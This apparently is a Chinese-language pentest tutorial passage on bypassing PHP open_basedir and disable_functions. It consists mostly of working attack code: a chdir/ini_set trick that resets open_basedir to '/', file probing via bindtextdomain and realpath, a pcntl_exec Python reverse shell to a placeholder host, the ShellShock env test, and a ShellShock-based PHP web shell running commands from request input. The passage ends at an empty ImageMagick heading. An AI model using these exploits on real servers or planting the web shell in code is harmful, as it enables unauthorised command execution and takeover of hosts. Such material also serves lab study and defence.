利用了ini_set的open_basedir的设计缺陷,可以用如下代码观察一下其bypass过程:
<?php ini_set('open_basedir', '/var/www/html:' .'/tmp'); mkdir('test'); chdir('test'); ini_set('open_basedir','..'); printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir')); chdir('..');chdir('..');chdir('..');chdir('..'); ini_set('open_basedir','/'); printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir')); //open_basedir : .. //open_basedir : / bindtextdomain该函数的第二个参数为一个文件路径,先看代码:
<?php ini_set('open_basedir', '/var/www/html:' .'/tmp'); printf('<b>open_basedir: %s</b><br />', ini_get('open_basedir')); $re = bindtextdomain('xxx', '/etc/passwd'); var_dump($re); $re = bindtextdomain('xxx', '/etc/passw'); var_dump($re); //open_basedir: /var/www/html:/tmp //string(11) "/etc/passwd" bool(false)可以看到当文件不存在时返回值为false,因为不支持通配符,该方法只能适用于linux下的暴力猜解文件。
Realpath同样是基于报错,但realpath在windows下可以使用通配符<和>进行列举,脚本摘自p神博客:
<?php ini_set('open_basedir', dirname(__FILE__)); printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir')); set_error_handler('isexists'); $dir = 'd:/test/'; $file = ''; $chars = 'abcdefghijklmnopqrstuvwxyz0123456789_'; for ($i=0; $i < strlen($chars); $i++) { $file = $dir . $chars[$i] . '<><'; realpath($file); } function isexists($errno, $errstr) { $regexp = '/File((.*)) is not within/'; preg_match($regexp, $errstr, $matches); if (isset($matches[1])) { printf("%s <br/>", $matches[1]); } } ?> other如命令执行事实上是不受open_basedir的影响的。
bypass disable function蚁剑项目仓库中有一个各种disable的测试环境可以复现,需要环境的师傅可以选用蚁剑的环境。
https://github.com/AntSwordProject/AntSword-Labs
黑名单突破这个应该是最简单的方式,就是寻找替代函数来执行,如system可以采用如反引号来替代执行命令。
看几种常见用于执行系统命令的函数:
system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``当然了这些也常常出现在disable function中,那么可以寻找可以比较容易被忽略的函数,通过函数 or 函数组合拳来执行命令。
反引号:最容易被忽略的点,执行命令但回显需要配合其他函数,可以反弹shell
pcntl_exec:目标机器若存在python,可用php执行python反弹shell
<?php pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("{ip}",{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));?> ShellShock 原理
本质是利用bash破壳漏洞(CVE-2014-6271)。
影响范围在于bash 1.14 – 4.3
关键在于:
目前的bash脚本是以通过导出环境变量的方式支持自定义函数,也可将自定义的bash函数传递给子相关进程。一般函数体内的代码是不会被执行,但此漏洞会错误的将“{}”花括号外的命令进行执行。
本地验证方法:
在shell中执行下面命令:
env x='() { :;}; echo Vulnerable CVE-2014-6271 ' bash -c "echo test"
执行命令后,如果显示Vulnerable CVE-2014-6271,证系统存在漏洞,可改变echo Vulnerable CVE-2014-6271为任意命令进行执行。
详见:https://www.antiy.com/response/CVE-2014-6271.html
因为是设置环境变量,而在php中存在着putenv可以设置环境变量,配合开启子进程来让其执行命令。
利用https://www.exploit-db.com/exploits/35146
<?php function shellshock($cmd) { $tmp = tempnam(".","data"); putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); error_log('a',1); $output = @file_get_contents($tmp); @unlink($tmp); if($output != "") return $output; else return "No output, or not vuln."; } echo shellshock($_REQUEST["cmd"]); ?>将exp上传后即可执行系统命令bypass disable,就不做过多赘述。
ImageMagick 原理